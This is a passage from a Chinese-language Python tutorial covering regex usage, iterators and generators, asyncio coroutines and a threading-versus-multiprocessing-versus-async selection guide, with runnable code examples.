print(is_valid_phone("13812345678"))  # True
print(is_valid_phone("12345678901"))  # False(12 开头不合法)
print(is_valid_email("test@gmail.com"))  # True

# ===== 提取类 =====
text = "联系我:手机 13812345678,邮箱 test@gmail.com,QQ 123456789"

# 提取所有数字序列
numbers = re.findall(r"\d+", text)
print(numbers)  # ['13812345678', '123456789']

# 提取手机号和邮箱
phone = re.search(r"1[3-9]\d{9}", text)
email = re.search(r"[\w.+-]+@[\w-]+\.[\w.]+", text)
print(f"手机:{phone.group()}")  # 13812345678
print(f"邮箱:{email.group()}")  # test@gmail.com

# ===== 替换类 =====
# 脱敏:手机号中间4位替换为 ****
phone = "13812345678"
masked = re.sub(r"(\d{3})\d{4}(\d{4})", r"\1****\2", phone)
print(masked)  # 138****5678

# 清理多余空格
text = "hello    world   python"
clean = re.sub(r"\s+", " ", text)
print(clean)  # hello world python

# ===== 分割类 =====
# 按多种分隔符分割
text = "苹果,香蕉;橘子 苹果|葡萄"
items = re.split(r"[,;\s|]+", text)
print(items)  # ['苹果', '香蕉', '橘子', '苹果', '葡萄']
常见错误总结
  • 忘记 r 前缀:正则字符串应该用 r"...",避免转义问题。\d 在普通字符串中会被解释为转义字符
  • 贪婪 vs 非贪婪:.* 是贪婪(匹配尽量多),.*? 是非贪婪(匹配尽量少)。提取 HTML 标签内容时必须用非贪婪
  • match vs search vs findall:match 只匹配开头,search 搜索第一个匹配,findall 找所有匹配
  • 忘记转义特殊字符:.、*、+、?、(、)、[、]、{、}、\、^、$、| 在正则中有特殊含义,匹配字面值需要用 \.
  • 灾难性回溯:嵌套量词如 (a+)+ 在匹配失败时会导致指数级回溯,程序卡死。避免嵌套量词或设置超时
  • 不预编译:在循环中反复使用 re.findall(pattern, text) 时,应该先 pattern = re.compile(...),性能提升 2 倍以上

第二十三章:迭代器与生成器

本章导览

迭代器和生成器是 Python 中处理"大量数据"的利器。想象你要处理一个包含100万个元素的列表——如果一次性全部加载到内存,电脑可能会卡死。生成器让你"按需生成",每次只处理一个元素,内存占用几乎为零。这是 Python 最优雅的特性之一。

23.1 可迭代对象与迭代器——"for 循环背后的秘密"

# 可迭代对象:可以用 for 循环遍历的对象
# 列表、元组、字符串、字典、集合、文件对象都是可迭代的

# 迭代器协议:实现了 __iter__() 和 __next__() 的对象
lst = [1, 2, 3]
it = iter(lst)     # 获取迭代器

print(next(it))    # 1
print(next(it))    # 2
print(next(it))    # 3
print(next(it))    # ❌ StopIteration(没有更多元素了)

# for 循环的本质
# for x in lst: 相当于:
it = iter(lst)
while True:
    try:
        x = next(it)
        # 循环体
    except StopIteration:
        break

23.2 自定义迭代器

class CountDown:
    """倒计时迭代器"""
    def __init__(self, start):
        self.current = start

    def __iter__(self):
        return self

    def __next__(self):
        if self.current <= 0:
            raise StopIteration
        value = self.current
        self.current -= 1
        return value

for num in CountDown(5):
    print(num, end=" ")  # 5 4 3 2 1

23.3 生成器函数(yield)——"暂停与恢复的魔法"

生活类比

想象一条流水线:普通函数就像一个工人,一次性把所有产品做完才交给你(return 所有结果);生成器就像一条流水线,每做完一个产品就暂停(yield),等你需要下一个时再继续生产。你不需要准备一个大仓库存放所有产品——需要几个就生产几个。

生成器是一种特殊的迭代器,用 yield 关键字创建。它不会一次性生成所有值,而是按需生成,非常节省内存。

# 生成器函数:包含 yield 的函数
def countdown(n):
    while n > 0:
        yield n     # 暂停,返回值,下次从这里继续
        n -= 1

# 使用生成器
for num in countdown(5):
    print(num, end=" ")  # 5 4 3 2 1

# 生成器是惰性的——不会一次性计算所有值
def fibonacci():
    a, b = 0, 1
    while True:
        yield a
        a, b = b, a + b

# 取前 10 个斐波那契数
fib = fibonacci()
for _ in range(10):
    print(next(fib), end=" ")  # 0 1 1 2 3 5 8 13 21 34

yield 的底层原理:状态机保存机制

生活类比

你在看书时,用书签标记看到第几页。合上书(暂停),下次打开直接翻到书签位置继续看(恢复)。yield 就是那个书签——它记住了函数执行到哪一行、所有局部变量的值,下次调用 next() 时从书签位置继续。

# yield 的执行流程详解
def demo():
    print("第 1 步:开始")
    yield 1              # 暂停,返回 1,保存状态
    print("第 2 步:继续")
    yield 2              # 暂停,返回 2,保存状态
    print("第 3 步:结束")
    yield 3              # 暂停,返回 3

gen = demo()

# 第一次调用 next():执行到第一个 yield
print(next(gen))  # 输出:第 1 步:开始 → 返回 1
# 此时函数"冻结":执行位置在 yield 1 之后,局部变量都保存着

# 第二次调用 next():从 yield 1 之后继续执行
print(next(gen))  # 输出:第 2 步:继续 → 返回 2
# 函数再次"冻结":执行位置在 yield 2 之后

# 第三次调用 next():从 yield 2 之后继续执行
print(next(gen))  # 输出:第 3 步:结束 → 返回 3

# 第四次调用 next():没有更多 yield → 抛出 StopIteration
# next(gen)  # ❌ StopIteration
yield 的状态保存机制

当生成器函数执行到 yield 时,Python 会做三件事:

  1. 保存当前执行位置(哪一行代码)
  2. 保存所有局部变量的值(就像拍了一张快照)
  3. 暂停函数执行,把 yield 后面的值返回给调用者

下次调用 next() 时,Python 会恢复之前保存的状态,从暂停的位置继续执行。这就是为什么生成器能"记住"之前的状态——它本质上是一个可暂停的函数。

内存对比:列表 vs 生成器

import sys

# ===== 列表:一次性生成所有值,全部存入内存 =====
def squares_list(n):
    """返回前 n 个平方数的列表"""
    return [i ** 2 for i in range(n)]

# ===== 生成器:按需生成,每次只存一个值 =====
def squares_gen(n):
    """逐个生成前 n 个平方数"""
    for i in range(n):
        yield i ** 2

# 内存对比
n = 1_000_000

lst = squares_list(n)
print(f"列表内存:{sys.getsizeof(lst) / 1024 / 1024:.1f} MB")  # 约 8.0 MB

gen = squares_gen(n)
print(f"生成器内存:{sys.getsizeof(gen)} 字节")  # 约 200 字节(不管 n 多大)

# 列表占 8 MB,生成器只占 200 字节——差 4 万倍!
列表
一次性生成所有值——n 越大,内存占用越大。100万个元素 ≈ 8 MB。
生成器
按需生成,用完即弃——无论 n 多大,内存始终 ≈ 200 字节。

23.4 生成器表达式

# 列表推导式 → 生成器表达式(把 [] 换成 ())
squares_list = [x**2 for x in range(1000000)]  # 立即占用内存
squares_gen = (x**2 for x in range(1000000))   # 几乎不占内存

# 生成器只能遍历一次
gen = (x**2 for x in range(5))
print(list(gen))  # [0, 1, 4, 9, 16]
print(list(gen))  # [](已经消耗完了)

23.5 yield from

# yield from:委托给另一个可迭代对象
def chain(*iterables):
    for it in iterables:
        yield from it   # 把 it 的所有元素逐个 yield

result = list(chain([1, 2], [3, 4], [5, 6]))
print(result)  # [1, 2, 3, 4, 5, 6]

23.6 生成器的 send() 方法

send() 方法可以向生成器发送数据,让生成器在暂停时接收外部值。这是生成器实现双向通信的关键。

def accumulator():
    """累加器:接收外部值并累加"""
    total = 0
    while True:
        value = yield total  # yield 返回 total,同时接收 send() 发送的值
        if value is None:
            break
        total += value

acc = accumulator()
next(acc)           # 必须先调用 next() 或 send(None) 启动生成器!
print(acc.send(10)) # 10(发送 10,返回累加结果 10)
print(acc.send(20)) # 30(发送 20,返回累加结果 30)
print(acc.send(5))  # 35(发送 5,返回累加结果 35)
send() 的关键规则
  • 首次调用必须传 None:生成器还没有执行到 yield,无法接收值。next(gen) 等价于 gen.send(None)
  • send(value) 的返回值是生成器下一个 yield 的值,不是发送的值
  • 忘记先调用 next() 会报 TypeError: can't send non-None value to a just-started generator

23.7 生成器实战场景——"什么时候该用生成器?"

生成器适用场景
  • 处理大文件:逐行读取 10GB 的日志文件,不需要全部加载到内存
  • 无限序列:斐波那契数列、素数序列——列表无法存储无限元素,生成器可以
  • 数据管道:多个处理步骤串联(读取→清洗→转换→输出),每步用生成器"接力"
  • 节省内存:当数据量超过可用内存时,生成器是唯一选择
from pathlib import Path

# ===== 实战 1:逐行处理大文件 =====
def read_large_file(file_path):
    """逐行读取大文件,内存占用恒定"""
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f:           # 文件对象本身就是迭代器
            yield line.strip()

# 即使文件有 100 GB,内存中也只有一行
# for line in read_large_file("huge_log.txt"):
#     if "ERROR" in line:
#         print(line)

# ===== 实战 2:数据管道(生成器链) =====
def read_data(source):
    """步骤1:读取原始数据"""
    for item in source:
        print(f"  读取:{item}")
        yield item

def clean_data(data):
    """步骤2:清洗数据"""
    for item in data:
        cleaned = item.strip().lower()
        print(f"  清洗:{cleaned}")
        yield cleaned

def filter_data(data, keyword):
    """步骤3:过滤数据"""
    for item in data:
        if keyword in item:
            print(f"  保留:{item}")
            yield item

# 串联成管道:每个元素依次经过 读取→清洗→过滤
raw = ["  Apple  ", "BANANA", "  cherry  ", "DATE", "  EGGPLANT  "]
pipeline = filter_data(clean_data(read_data(raw)), "a")
result = list(pipeline)
print(f"最终结果:{result}")
# 读取:  Apple  → 清洗:apple → 保留:apple
# 读取:BANANA → 清洗:banana → 保留:banana
# 最终结果:['apple', 'banana']
常见错误总结
  • 生成器只能遍历一次:第二次遍历会得到空结果,需要重新创建。如果需要多次遍历,应该用列表或 itertools.tee()
  • 混淆可迭代对象和迭代器:列表是可迭代对象但不是迭代器。用 iter() 获取迭代器,用 isinstance(x, collections.abc.Iterator) 判断
  • 在生成器中 return 值:生成器用 yield 返回值,return 会终止迭代(return value 会被包装成 StopIteration(value))
  • send() 前忘记 next():必须先调用 next(gen) 或 gen.send(None) 启动生成器,否则报 TypeError
  • 生成器中的异常处理:生成器内部的 try-finally 在生成器被垃圾回收时才会执行,用 gen.close() 可以显式触发
  • 不要对生成器用 len():生成器没有长度,需要先转为列表 list(gen) 才能获取长度(但这会消耗生成器)

第二十四章:协程与异步编程(上)

本章导览

异步编程是 Python 处理"等待型"任务的利器——网络请求、文件读写、数据库查询等。同步代码在等待时会"卡住",异步代码在等待时可以去做别的事。本章会从零开始讲解 async/await、事件循环和协程的概念。

24.1 为什么需要异步?——"等待时不要闲着"

想象你在餐厅点了餐,然后一直站在柜台前等——这就是同步。而你先去找座位坐下,等餐好了叫你——这就是异步。

同步 vs 异步

同步:一个任务做完才做下一个。排队买奶茶,前面的人没走你就得等。
异步:发出请求后去做别的事,等结果回来再处理。点了餐先玩手机,叫号再去取。

import time

# 同步版本(总耗时 3 秒)
def sync_task(name, duration):
    print(f"{name} 开始")
    time.sleep(duration)
    print(f"{name} 完成")

start = time.time()
sync_task("任务A", 1)
sync_task("任务B", 1)
sync_task("任务C", 1)
print(f"同步总耗时:{time.time() - start:.1f}秒")  # 3.0 秒

24.2 async/await 基础

import asyncio

# 异步版本(总耗时约 1 秒)
async def async_task(name, duration):
    print(f"{name} 开始")
    await asyncio.sleep(duration)  # await:让出控制权,等待期间可以做别的
    print(f"{name} 完成")

async def main():
    start = time.time()
    # 三个任务同时运行
    await asyncio.gather(
        async_task("任务A", 1),
        async_task("任务B", 1),
        async_task("任务C", 1)
    )
    print(f"异步总耗时:{time.time() - start:.1f}秒")  # 约 1.0 秒

asyncio.run(main())

24.3 核心概念——"协程、事件循环、Task"

协程(Coroutine)
用 async def 定义的函数。调用它不会立即执行,而是返回一个协程对象。必须用 await 或交给事件循环才能运行。
await
暂停当前协程,等待异步操作完成。暂停期间事件循环可以执行其他协程。只能在 async def 函数内使用。
事件循环(Event Loop)
asyncio 的心脏。它不断地检查"哪个协程可以继续执行了",然后调度它运行。一个线程只有一个事件循环。
Task
对协程的封装,交给事件循环调度。创建 Task 后协程立即被安排执行,不需要手动 await。
协程 vs 普通函数——有什么区别?
# 普通函数:调用就执行
def sync_func():
    return 42

result = sync_func()  # 立即执行,result = 42

# 协程:调用只返回协程对象,不会执行
async def async_func():
    return 42

coroutine = async_func()  # 不执行!只是创建了一个协程对象
print(coroutine)  # <coroutine object async_func at 0x...>

# 必须 await 才会执行
result = await async_func()  # 这才会真正执行

24.4 事件循环——"asyncio 的心脏"

事件循环是 asyncio 的核心机制。理解它,就理解了异步编程的本质。

1
创建事件循环——asyncio.run() 会自动创建
2
注册协程——通过 create_task() 或 await 将协程加入循环
3
调度执行——事件循环执行协程,遇到 await 就暂停,去执行其他协程
4
等待完成——当 await 的操作完成(如网络响应到达),恢复执行
5
全部结束——所有协程执行完毕,事件循环退出
# asyncio.run()——最简单的启动方式(Python 3.7+)
import asyncio

async def main():
    print("Hello")
    await asyncio.sleep(1)
    print("World")

asyncio.run(main())  # 创建事件循环 → 运行 main() → 关闭事件循环
# 更底层的启动方式(了解即可,一般不需要)
import asyncio

async def main():
    print("Hello")
    await asyncio.sleep(1)
    print("World")

# 方式二:手动获取事件循环(旧写法,不推荐)
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
loop.close()

# 方式三:Python 3.10+ 的 asyncio.Runner
with asyncio.Runner() as runner:
    runner.run(main())
asyncio.run() vs get_event_loop() 的区别
  • asyncio.run():创建新的事件循环,运行完毕后自动关闭。推荐用这个。
  • get_event_loop():获取当前线程的事件循环。如果不存在,在 Python 3.10+ 会报错。
  • 不要在已经运行的事件循环中调用 asyncio.run()——会报错 RuntimeError: This event loop is already running

24.5 创建和运行协程——gather vs create_task

import asyncio

async def fetch_data(url, delay):
    print(f"开始请求 {url}")
    await asyncio.sleep(delay)  # 模拟网络请求
    return f"{url} 的数据"

方式一:asyncio.gather()——"大家一起跑,全部完成再继续"

async def main():
    # gather 同时运行多个协程,等全部完成后返回结果列表
    # 结果的顺序和传入的顺序一致(不是完成的顺序)
    results = await asyncio.gather(
        fetch_data("api/users", 2),
        fetch_data("api/posts", 1),
        fetch_data("api/comments", 3)
    )
    print(results)
    # ['api/users 的数据', 'api/posts 的数据', 'api/comments 的数据']

asyncio.run(main())

方式二:asyncio.create_task()——"立刻安排,稍后取结果"

async def main():
    # create_task 立即将协程交给事件循环调度
    task1 = asyncio.create_task(fetch_data("api/users", 2))
    task2 = asyncio.create_task(fetch_data("api/posts", 1))

    # 可以在中间做其他事情
    print("任务已安排,我先做别的事...")

    # 等待结果
    result1 = await task1
    result2 = await task2
    print(result1, result2)

asyncio.run(main())
gather vs create_task 怎么选?
方式优点适用场景
gather()简洁,一行搞定同时运行一批任务,等全部完成
create_task()灵活,可以中途做其他事需要在等待期间执行其他逻辑

24.6 错误处理——"异步代码中的异常"

import asyncio

async def risky_task(name, should_fail=False):
    await asyncio.sleep(0.5)
    if should_fail:
        raise ValueError(f"{name} 失败了!")
    return f"{name} 成功"

# ===== 问题:gather 中一个任务失败会怎样?=====
async def main():
    # 默认行为:一个失败,其他任务被取消,异常传播到 gather
    try:
        results = await asyncio.gather(
            risky_task("A"),
            risky_task("B", should_fail=True),  # 这个会失败
            risky_task("C"),
        )
    except ValueError as e:
        print(f"捕获到异常:{e}")
        # 注意:A 和 C 可能已经被取消了!

asyncio.run(main())
# ===== 解决方案一:return_exceptions=True =====
async def main():
    # 所有任务都会完成,异常作为返回值而不是抛出
    results = await asyncio.gather(
        risky_task("A"),
        risky_task("B", should_fail=True),
        risky_task("C"),
        return_exceptions=True  # 关键参数
    )
    for r in results:
        if isinstance(r, Exception):
            print(f"任务失败:{r}")
        else:
            print(f"任务成功:{r}")
    # 任务成功:A 成功
    # 任务失败:B 失败了!
    # 任务成功:C 成功

asyncio.run(main())
# ===== 解决方案二:每个任务自己处理异常 =====
async def safe_task(name, should_fail=False):
    try:
        return await risky_task(name, should_fail)
    except ValueError as e:
        print(f"任务 {name} 出错:{e}")
        return None  # 返回默认值

async def main():
    results = await asyncio.gather(
        safe_task("A"),
        safe_task("B", should_fail=True),
        safe_task("C"),
    )
    # 过滤掉失败的
    success = [r for r in results if r is not None]
    print(success)

asyncio.run(main())

24.7 asyncio.wait()——"更精细的控制"

import asyncio

async def fetch(url, delay):
    await asyncio.sleep(delay)
    return f"{url} done"

async def main():
    tasks = [
        asyncio.create_task(fetch("A", 3)),
        asyncio.create_task(fetch("B", 1)),
        asyncio.create_task(fetch("C", 2)),
    ]

    # ===== FIRST_COMPLETED:有一个完成就返回 =====
    done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
    print(f"第一个完成的:{[t.result() for t in done]}")  # ['B done']
    print(f"还在运行的:{len(pending)} 个")  # 2 个

    # ===== ALL_COMPLETED:全部完成才返回(和 gather 类似)=====
    done, pending = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)

    # ===== FIRST_EXCEPTION:有异常就返回 =====
    done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)

asyncio.run(main())

24.8 异步上下文管理器

import asyncio

class AsyncDB:
    async def __aenter__(self):
        print("连接数据库...")
        await asyncio.sleep(0.5)
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        print("关闭数据库连接...")
        await asyncio.sleep(0.5)
        return False

    async def query(self, sql):
        await asyncio.sleep(0.1)
        return f"查询结果:{sql}"

async def main():
    async with AsyncDB() as db:
        result = await db.query("SELECT * FROM users")
        print(result)

asyncio.run(main())

24.9 异步迭代器

import asyncio

class AsyncCounter:
    """异步迭代器——每次 next 都有异步操作"""
    def __init__(self, stop):
        self.current = 0
        self.stop = stop

    def __aiter__(self):
        return self

    async def __anext__(self):
        if self.current >= self.stop:
            raise StopAsyncIteration
        await asyncio.sleep(0.1)  # 模拟异步操作
        self.current += 1
        return self.current

async def main():
    async for num in AsyncCounter(5):
        print(num, end=" ")  # 1 2 3 4 5

asyncio.run(main())

24.10 常见错误与注意事项

常见错误总结
  • 在异步函数中用 time.sleep():会阻塞整个事件循环,应该用 asyncio.sleep()
  • 忘记 await:调用异步函数不加 await,得到的是协程对象而不是结果
  • 同步代码中直接调用协程:必须用 asyncio.run() 或在事件循环中运行
  • 在异步代码中调用阻塞的同步函数:如 requests.get()、open(),会阻塞事件循环,应该用 aiohttp、aiofiles
  • 忘记处理异常:gather 中一个任务失败默认会取消其他任务
  • 创建了协程但没有 await:fetch_data("url") 不会执行,必须 await fetch_data("url")
异步编程的"禁止清单"
不要用(阻塞)改用(异步)
time.sleep(n)await asyncio.sleep(n)
requests.get(url)await aiohttp.ClientSession().get(url)
open("file.txt")await aiofiles.open("file.txt")
socket.recv()await reader.read(n)
queue.Queue()asyncio.Queue()

第二十五章:协程与异步编程(下)

本章导览

本章继续深入异步编程,介绍异步迭代器、异步推导式、TaskGroup、信号量等高级特性,以及多线程、多进程和异步的对比。掌握这些,你就能写出高效的并发程序。

25.1 异步迭代器

import asyncio

class AsyncCounter:
    def __init__(self, stop):
        self.current = 0
        self.stop = stop

    def __aiter__(self):
        return self

    async def __anext__(self):
        if self.current >= self.stop:
            raise StopAsyncIteration
        await asyncio.sleep(0.1)  # 模拟异步操作
        self.current += 1
        return self.current

async def main():
    async for num in AsyncCounter(5):
        print(num, end=" ")  # 1 2 3 4 5

asyncio.run(main())

25.2 异步推导式

import asyncio

async def fetch(x):
    await asyncio.sleep(0.1)
    return x * 2

async def main():
    # 异步列表推导式
    results = [await fetch(x) for x in range(5)]
    print(results)  # [0, 2, 4, 6, 8]

    # 异步生成器表达式
    gen = (await fetch(x) for x in range(5))

asyncio.run(main())

25.3 TaskGroup(Python 3.11+)

版本警告 asyncio.TaskGroup 和 ExceptionGroup 是 Python 3.11+ 的特性,在 3.11 之前完全不可用,也没有官方 backport。如果你的项目需要支持 3.9/3.10,可以使用第三方库 taskgroup(pip install taskgroup)或 anyio 作为兼容方案。
import asyncio

async def task(name, delay):
    await asyncio.sleep(delay)
    return f"{name} 完成"

async def main():
    # TaskGroup:自动管理任务的生命周期
    async with asyncio.TaskGroup() as tg:
        t1 = tg.create_task(task("A", 1))
        t2 = tg.create_task(task("B", 2))
        t3 = tg.create_task(task("C", 0.5))

    # 所有任务完成后才能到这里
    print(t1.result())  # A 完成
    print(t2.result())  # B 完成
    print(t3.result())  # C 完成

asyncio.run(main())

ExceptionGroup——TaskGroup 的异常处理

TaskGroup 的核心优势是异常安全:如果任何一个任务抛出异常,TaskGroup 会自动取消其余任务,并把所有异常打包成一个 ExceptionGroup 抛出。

import asyncio

async def risky_task(name):
    if name == "B":
        raise ValueError(f"{name} 出错了!")
    await asyncio.sleep(1)
    return f"{name} 完成"

async def main():
    try:
        async with asyncio.TaskGroup() as tg:
            tg.create_task(risky_task("A"))
            tg.create_task(risky_task("B"))  # 这个会抛异常
            tg.create_task(risky_task("C"))
    except* ValueError as eg:
        # except* 是 Python 3.11 的新语法,专门捕获 ExceptionGroup
        for exc in eg.exceptions:
            print(f"捕获到:{exc}")
    # 输出:捕获到:B 出错了!
    # 任务 A 和 C 被自动取消

asyncio.run(main())
ExceptionGroup vs 普通异常 ExceptionGroup 可以同时包含多个异常,用 except* 语法按类型分别捕获。这比 asyncio.gather(return_exceptions=True) 更优雅——gather 只是把异常当返回值,你需要手动检查每个结果。

25.4 信号量(Semaphore)

import asyncio

async def fetch(sem, url):
    async with sem:  # 限制并发数
        print(f"请求 {url}")
        await asyncio.sleep(1)
        return f"{url} 数据"

async def main():
    sem = asyncio.Semaphore(3)  # 最多同时 3 个请求
    urls = [f"api/{i}" for i in range(10)]
    tasks = [fetch(sem, url) for url in urls]
    results = await asyncio.gather(*tasks)
    print(f"获取了 {len(results)} 个结果")

asyncio.run(main())

25.5 多线程 vs 多进程 vs 异步——"并发编程选型指南"

生活类比

想象一家餐厅的厨房:

多线程 = 一个厨师同时照看多个灶台。他不能同时翻两个锅(GIL 限制),但可以在等水烧开的时候去切菜(IO 等待时切换任务)。适合"等"多于"做"的任务。

多进程 = 多个厨师各自有自己的灶台和工具。每个人都能独立干活(真正的并行),但他们不能直接用对方的食材(进程间通信需要管道/队列)。适合"做"多于"等"的任务。

异步 = 一个超级厨师,有 100 个灶台。他不会傻等一个锅烧开,而是不停地在灶台间切换——哪个好了就处理哪个。适合大量"等待"的场景(网络请求、数据库查询)。

GIL 深入解析——"为什么多线程不能真正并行?"

什么是 GIL?

GIL(Global Interpreter Lock,全局解释器锁)是 CPython 解释器的一个机制。它确保同一时刻只有一个线程在执行 Python 字节码。这意味着:

  • 多线程不能利用多核 CPU:即使你有 8 核 CPU,多线程的 Python 程序也只能用 1 个核
  • IO 操作不受影响:线程在等待网络/文件/数据库时会释放 GIL,其他线程可以继续执行
  • 计算密集型任务会变慢:多线程反而比单线程慢(因为线程切换有开销)
import time
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor

def cpu_task(n):
    """CPU 密集型任务:计算平方和"""
    return sum(i * i for i in range(n))

def io_task(url):
    """IO 密集型任务:模拟网络请求"""
    time.sleep(1)  # 模拟等待
    return f"{url} 完成"

# ===== CPU 密集型:多线程反而更慢!=====
# 单线程
start = time.time()
[cpu_task(10**6) for _ in range(4)]
print(f"单线程 CPU:{time.time() - start:.2f}秒")  # 约 1.2 秒

# 多线程(受 GIL 限制,不能真正并行)
with ThreadPoolExecutor(max_workers=4) as ex:
    start = time.time()
    list(ex.map(cpu_task, [10**6] * 4))
    print(f"多线程 CPU:{time.time() - start:.2f}秒")  # 约 1.3 秒(甚至更慢!)

# 多进程(绕过 GIL,真正并行)
with ProcessPoolExecutor(max_workers=4) as ex:
    start = time.time()
    list(ex.map(cpu_task, [10**6] * 4))
    print(f"多进程 CPU:{time.time() - start:.2f}秒")  # 约 0.4 秒(快 3 倍!)

# ===== IO 密集型:多线程效果显著 =====
urls = ["url1", "url2", "url3", "url4"]

# 单线程
start = time.time()
[io_task(u) for u in urls]
print(f"单线程 IO:{time.time() - start:.2f}秒")  # 约 4.0 秒

# 多线程(IO 等待时释放 GIL,其他线程可以执行)
with ThreadPoolExecutor(max_workers=4) as ex:
    start = time.time()
    list(ex.map(io_task, urls))
    print(f"多线程 IO:{time.time() - start:.2f}秒")  # 约 1.0 秒(快 4 倍!)
方式适合场景GIL 影响内存开销代码复杂度
多线程IO 密集型(网络请求、文件读写)受 GIL 限制,不能真正并行计算轻量(共享内存)中等(需要处理竞态条件)
多进程CPU 密集型(计算、图像处理)绕过 GIL,每个进程有独立的 GIL重量(独立内存空间)较高(进程间通信复杂)
异步大量并发 IO(Web 服务器、爬虫)单线程,不存在 GIL 问题最轻量较高(需要 async/await 生态)
选型决策树
  • 任务主要是"等待"(网络、文件、数据库)→ 用多线程或异步
  • 任务主要是"计算"(图像处理、数据分析)→ 用多进程
  • 大量并发连接(Web 服务器、爬虫)→ 用异步(最轻量)
  • 不确定→ 先用多线程,如果发现 CPU 利用率上不去,再换多进程

场景选型详细指南

场景一:IO 密集型任务 → 用多线程

典型场景:网络请求、文件读写、数据库查询、调用外部 API

为什么用多线程:线程在等待 IO 时会释放 GIL,其他线程可以继续执行。线程切换开销小,代码简单。

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

def download_page(url):
    """下载网页"""
    response = requests.get(url, timeout=10)
    return f"{url}: {len(response.text)} 字符"

# 10个网页,串行需要10秒,并发只需1-2秒
urls = [
    "https://example.com",
    "https://example.org",
    "https://example.net",
    # ... 更多URL
]

# 方式一:ThreadPoolExecutor(推荐)
start = time.time()
with ThreadPoolExecutor(max_workers=10) as executor:
    # 提交所有任务
    futures = {executor.submit(download_page, url): url for url in urls}

    # 按完成顺序获取结果
    for future in as_completed(futures):
        url = futures[future]
        try:
            result = future.result()
            print(result)
        except Exception as e:
            print(f"{url} 失败: {e}")

print(f"多线程耗时: {time.time() - start:.2f}秒")

# 方式二:更简洁的 map 写法
with ThreadPoolExecutor(max_workers=10) as executor:
    results = list(executor.map(download_page, urls))

适用场景清单:

  • 批量下载文件、图片、网页
  • 并发调用多个 API 接口
  • 批量发送邮件、短信
  • 批量数据库查询(每个查询独立)
  • 日志文件批量处理
场景二:CPU 密集型任务 → 用多进程

典型场景:图像处理、视频转码、数据分析、机器学习训练、数学计算

为什么用多进程:每个进程有独立的 GIL,可以真正利用多核 CPU 并行计算。

from concurrent.futures import ProcessPoolExecutor
from PIL import Image
import os
import time

def process_image(image_path):
    """处理图片:调整大小并添加水印"""
    img = Image.open(image_path)
    img = img.resize((800, 600))
    # 模拟复杂处理
    time.sleep(0.5)
    output_path = image_path.replace(".jpg", "_processed.jpg")
    img.save(output_path)
    return f"处理完成: {image_path}"

# 获取所有图片
image_dir = "./images"
image_paths = [
    os.path.join(image_dir, f)
    for f in os.listdir(image_dir)
    if f.endswith(".jpg")
]

# 方式一:ProcessPoolExecutor
start = time.time()
with ProcessPoolExecutor(max_workers=4) as executor:  # 通常设为CPU核心数
    results = list(executor.map(process_image, image_paths))
print(f"多进程耗时: {time.time() - start:.2f}秒")

# 方式二:手动管理进程池
from multiprocessing import Pool

with Pool(processes=4) as pool:
    results = pool.map(process_image, image_paths)

# 方式三:apply_async(非阻塞)
with Pool(processes=4) as pool:
    async_results = [pool.apply_async(process_image, (path,)) for path in image_paths]
    # 可以在等待时做其他事情
    results = [r.get(timeout=30) for r in async_results]

适用场景清单:

  • 图片批量处理(裁剪、滤镜、压缩)
  • 视频转码
  • 大规模数据分析(Pandas、NumPy)
  • 机器学习模型训练
  • 加密/解密大量数据
  • 复杂的数学计算
场景三:高并发网络服务 → 用异步

典型场景:Web 服务器、爬虫、聊天服务器、实时推送、大模型 API 调用

为什么用异步:单线程即可处理数万并发连接,内存开销最小,适合高并发 IO。

import asyncio
import aiohttp
import time

async def fetch(session, url):
    """异步请求"""
    async with session.get(url) as response:
        return await response.text()

async def main():
    urls = [f"https://example.com/page/{i}" for i in range(100)]

    async with aiohttp.ClientSession() as session:
        # 并发100个请求,内存开销很小
        tasks = [fetch(session, url) for url in urls]
        results = await asyncio.gather(*tasks, return_exceptions=True)

        success = sum(1 for r in results if not isinstance(r, Exception))
        print(f"成功: {success}/{len(urls)}")

# 异步爬虫
async def crawl_with_limit(urls, max_concurrent=50):
    """带并发限制的爬虫"""
    semaphore = asyncio.Semaphore(max_concurrent)

    async def limited_fetch(session, url):
        async with semaphore:  # 限制并发数
            return await fetch(session, url)

    async with aiohttp.ClientSession() as session:
        tasks = [limited_fetch(session, url) for url in urls]
        return await asyncio.gather(*tasks)

# 运行
start = time.time()
asyncio.run(main())
print(f"异步耗时: {time.time() - start:.2f}秒")

适用场景清单:

  • Web API 服务器(FastAPI、aiohttp)
  • 大规模网络爬虫
  • 聊天/即时通讯服务器
  • 实时数据推送(WebSocket)
  • 大模型 API 流式调用
  • 微服务间的 HTTP 调用

三种方式的性能对比(实际测试)

import time
import requests
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
import asyncio
import aiohttp

# 测试场景:下载10个网页(IO密集型)
urls = ["https://httpbin.org/delay/1"] * 10

# 1. 串行
def test_serial():
    start = time.time()
    for url in urls:
        requests.get(url)
    return time.time() - start

# 2. 多线程
def test_threading():
    start = time.time()
    with ThreadPoolExecutor(max_workers=10) as ex:
        list(ex.map(requests.get, urls))
    return time.time() - start

# 3. 异步
async def test_async():
    start = time.time()
    async with aiohttp.ClientSession() as session:
        tasks = [session.get(url) for url in urls]
        await asyncio.gather(*tasks)
    return time.time() - start

print(f"串行: {test_serial():.2f}秒")      # 约 10 秒
print(f"多线程: {test_threading():.2f}秒")  # 约 1.2 秒
print(f"异步: {asyncio.run(test_async()):.2f}秒")  # 约 1.1 秒

# 测试场景:计算10个大数的平方和(CPU密集型)
def cpu_task(n):
    return sum(i * i for i in range(n))

numbers = [10**7] * 10

# 1. 串行
start = time.time()
[cpu_task(n) for n in numbers]
print(f"串行 CPU: {time.time() - start:.2f}秒")  # 约 5 秒

# 2. 多线程(受GIL限制,几乎无提升)
start = time.time()
with ThreadPoolExecutor(max_workers=4) as ex:
    list(ex.map(cpu_task, numbers))
print(f"多线程 CPU: {time.time() - start:.2f}秒")  # 约 5 秒

# 3. 多进程(真正并行,快4倍)
start = time.time()
with ProcessPoolExecutor(max_workers=4) as ex:
    list(ex.map(cpu_task, numbers))
print(f"多进程 CPU: {time.time() - start:.2f}秒")  # 约 1.3 秒
混合使用:多进程 + 异步

对于既需要计算又需要IO的场景,可以混合使用:

import asyncio
from concurrent.futures import ProcessPoolExecutor
